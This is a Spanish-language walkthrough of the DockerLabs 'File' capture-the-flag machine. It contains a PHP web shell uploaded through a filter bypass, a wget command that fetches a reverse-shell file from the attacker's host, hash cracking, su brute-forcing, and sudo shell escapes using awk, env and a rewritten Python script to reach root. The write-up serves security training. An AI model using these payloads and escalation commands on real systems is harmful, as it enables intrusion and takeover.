> For the complete documentation index, see [llms.txt](https://dark0547.gitbook.io/tdlc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dark0547.gitbook.io/tdlc/writeups/dockerlabs/facil/file.md).

# File

## Reconocimiento

Iniciamos haciendo un reconocimiento del servidor para ver sus puertos disponibles

<figure><img src="/files/EC4mBspShSiRayaTC7io" alt=""><figcaption></figcaption></figure>

## Explotación FTP - Crack Password

Nos encontramos con el puerto 21 y el 80 y vemos que esta activo el login **Anonymous** en el FTP vamos a revisarlo, funciona perfectamente y nos encontramos con un archivo llamado **anon.txt**

<figure><img src="/files/AQdyhX86rolXVsynF9ED" alt=""><figcaption></figcaption></figure>

Nos traemos ese archivo a nuestra maquina y vemos que contiene&#x20;

<figure><img src="/files/rLNe2y6Lvp5xj7Kufuau" alt=""><figcaption></figcaption></figure>

Al parecer es un hash de tipo **MD5**, vamos a comprobarlo con **hash-identifier**

<figure><img src="/files/4ZvB3Pq9b8gIa9rSbBM2" alt=""><figcaption></figcaption></figure>

Y vemos que si, así que vamos a crackearlo con **John The Ripper** usando el siguiente comando

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 anon.txt
```

<figure><img src="/files/FKVDmUSyeC5x90EregDS" alt=""><figcaption></figcaption></figure>

## Fuzzing Web

Y vemos que el hash es **justin** en texto plano, puede ser un usuario o contraseña que nos puede servir después, ahora vamos a investigar la pagina web

<figure><img src="/files/N0OREQJANabQlu3nTiHX" alt=""><figcaption></figcaption></figure>

Nos encontramos con esa pagina web a la cual le vamos hacer Fuzzing para ver directorios ocultos

<figure><img src="/files/6KUEiv6g2c1sfvpormeX" alt=""><figcaption></figcaption></figure>

## Explotación - (RCE)

Vemos que nos encuentra las siguientes rutas a lo que se puede ver parece ser una vulnerabilidad de Remote Code Execution, así que vamos a ver con que nos encontramos\
\
Intentamos cargar el siguiente código en php

```php
<?php
  system($_GET['cmd']);
?>
```

Vemos que al intentar cargar un archivo PHP nos muestra error

<figure><img src="/files/QW243VKs7MfBkvjqKZTX" alt=""><figcaption></figcaption></figure>

Así que vamos a tratar de cargar un payload con BurpSuite de la siguiente forma

Interceptamos la petición del **file\_upload.php** y la mandamos al intruder donde pondremos en payload configuration algunas extensiones comunes

<figure><img src="/files/ygToCAOiXcjnZVEA1Jwt" alt=""><figcaption></figcaption></figure>

Y ponemos **&&** en la extensión del archivo para que burpsuite detecte que ahí es donde debe de cambiar la extensión una vez tengamos todo listo le damos en start attack

<figure><img src="/files/X1pvwqy6BbHbMr1ltvpl" alt=""><figcaption></figcaption></figure>

Vemos que con todos fue un status code 200, vamos a revisar en la ruta uploads con que extensión se subió realmente

<figure><img src="/files/r9MxB9Y5oSQbYliUiOZ2" alt=""><figcaption></figcaption></figure>

Y vemos que fue con la .phar, ahora si ejecutamos un comando con el archivo debería de funcionar

<figure><img src="/files/rjkQWBZAT8m7fPaAKywx" alt=""><figcaption></figcaption></figure>

Ahora vamos a ejecutar un **cat /etc/passwd** para ver que usuarios hay disponibles y tenerlos en cuenta

<figure><img src="/files/6Z1ntyoVBnT79cys0YK3" alt=""><figcaption></figcaption></figure>

Ahora, cargamos un **ls -la** para ver los permisos de las rutas y poder cargar archivos php

```bash
ls -la ../../../../../../../
```

<figure><img src="/files/RfNKI2cDEND9sWUDK8Oo" alt=""><figcaption></figcaption></figure>

Ahora sabiendo que la carpeta **tmp** tiene todos los permisos para todos los usuarios intentamos cargar un archivo php con wget para asi obtener una revershell&#x20;

```bash
wget http://172.17.0.1:443/shell.php -P ../../../../../../../tmp
```

<figure><img src="/files/WzhM1DdKomFxE08kxVjL" alt=""><figcaption></figcaption></figure>

## Intrusión

Y vemos que funciona así que ahora ejecuto el archivo php y obtengo una revershell

<figure><img src="/files/MZtI2NDkzy9pQ7i2QbOt" alt=""><figcaption></figcaption></figure>

## Pivoting entre usuarios

Al intentar escalar privilegios de la forma tradicional vemos que no nos deja ejecutar un **sudo -l** ni encontramos binarios o archivos SUID que nos puedan servidor, decido intentar hacer un ataque de fuerza bruta hacia el **su** de los usuarios, con un servidor python montado en mi maquina atacante descargo los archivos necesarios para realizar este ataque en la maquina victima

<figure><img src="/files/7bdLZE39GKZnI0nK9upO" alt=""><figcaption></figcaption></figure>

### Usuario - Fernando

Una vez descargado los archivos damos permisos de ejecución al script y ejecutamos el ataque

<figure><img src="/files/UyWIhBMuFghYsDh2NjNU" alt=""><figcaption></figcaption></figure>

### Usuario - Mario

Obtenemos la contraseña del usuario **fernando** y funciona

<figure><img src="/files/5mbqjtxYuBDpoP877Xr6" alt=""><figcaption></figcaption></figure>

Si entramos a su directorio vemos que hay una imagen la cual dando permisos de lectura y escritura en el directorio **html** con el usuario **www-data** podemos mover esa imagen para después descargarla en nuestra maquina atacante

<figure><img src="/files/ugNq1ociBGqi6DCe8Ysf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pKWe0Hg0sUfDy36NCixU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ed03JSiZ4i0QZotu0q88" alt=""><figcaption></figcaption></figure>

Y si bien podemos determinar que puede ver algo escondido en esta imagen, así que vamos a revisar con **estenganografia** para ver que encontramos

<figure><img src="/files/V3pzavuhbY2SyyqC0e5E" alt=""><figcaption></figcaption></figure>

Vemos que hay una contraseña, vamos a intentar romperla con **stegseek**

<figure><img src="/files/acmah6evZjw3S34nUzlP" alt=""><figcaption></figcaption></figure>

Encontramos la contraseña y extraemos el archivo escondido

<figure><img src="/files/sdZLpaF0jylxmrUryqlm" alt=""><figcaption></figcaption></figure>

Funciona, ahora leemos el archivo para ver que nos encontramos

<figure><img src="/files/8ss5e4IuC8UTWar1B52C" alt=""><figcaption></figcaption></figure>

Es un hash, vamos a pasarlo a **hash-identifier** para identificarlo y poder crackearlo

<figure><img src="/files/eT1G4jZekkfiPIW3oTDL" alt=""><figcaption></figcaption></figure>

Ahora que sabemos que el tipo es **MD5** vamos a romper la contraseña con **John The Ripper**

<figure><img src="/files/Qx8NKSquYYs8kIY6ZZtS" alt=""><figcaption></figcaption></figure>

Y nos da la contraseña probablemente de un usuario el cual puede ser **mario**

<figure><img src="/files/tz6hvdoJv4ONY1fpP5io" alt=""><figcaption></figcaption></figure>

### Usuario - Julen

Vemos que funciona y ahora si podemos ejecutar **sudo -l**

<figure><img src="/files/dOpF0ovnFD6rue2SFMtj" alt=""><figcaption></figcaption></figure>

Nos encontramos con un binario el cual nos puede ayudar a obtener una shell con el usuario **julen**, vamos a buscar en **GTFOBins** para ver mas detalles

<figure><img src="/files/AMSJAIy0PWpay31JP7y0" alt=""><figcaption></figcaption></figure>

Vemos que si, así que procedo a ejecutarlo para obtener una shell

```bash
sudo -u julen /usr/bin/awk 'BEGIN {system("/bin/sh")}'
```

<figure><img src="/files/SdO1nBwx0PxWrby0L4T1" alt=""><figcaption></figcaption></figure>

### Usuario - Iker

Y como nos funciona ahora ejecutamos un **sudo -l** para ver que mas encontramos

<figure><img src="/files/XPY22lXmDfrFyDuddn5z" alt=""><figcaption></figcaption></figure>

Nos encontramos con otro binario con el cual nos podemos lanzar una shell pero como el usuario **iker** vamos a revisar otra vez en **GTFOBins** mas detalles

<figure><img src="/files/o1DZQnlrdseMVmeVtQVj" alt=""><figcaption></figcaption></figure>

Viendo eso, ejecutamos la shell de la siguiente forma

```bash
sudo -u iker /usr/bin/env /bin/sh
```

<figure><img src="/files/4pogNlGG19SRtcpkrXYM" alt=""><figcaption></figcaption></figure>

Y asi obtendriamos el usuario **iker**

### **Usuario - root**

Ahora ejecutamos un **sudo -l** para ver que nos encontramos que nos pueda ayudar a tener usuario root

<figure><img src="/files/vgcELvkgIcLmhmtKdPdq" alt=""><figcaption></figcaption></figure>

Vemos que hay un script el cual esta en la ruta del usuario **iker** el cual podemos ejecutar como root, así que vamos a modificarlo para obtener una shell como root, pero antes de intentar modificarlo debemos eliminarlo para que nos deje de lo contrario nos dará error

<figure><img src="/files/2uVgzxUSXFrHAIncuDr4" alt=""><figcaption></figcaption></figure>

Ahora si, creamos un nuevo archivo que contenga las siguientes lineas

```bash
echo "import os" > geo_ip.py
echo "os.system('/bin/bash')" >> geo_ip.py
```

<figure><img src="/files/RjdpOF2uGqPRMDklLIX0" alt=""><figcaption></figcaption></figure>

Una vez tengamos el script completo lo ejecutamos de la siguiente manera

```bash
sudo /usr/bin/python3 /home/iker/geo_ip.py
```

y con este comando obtendríamos una shell como usuario root

<figure><img src="/files/EnWBvyIOkvcG7YYP17uC" alt=""><figcaption></figcaption></figure>

PSDT: No descifre de que era la primera contraseña
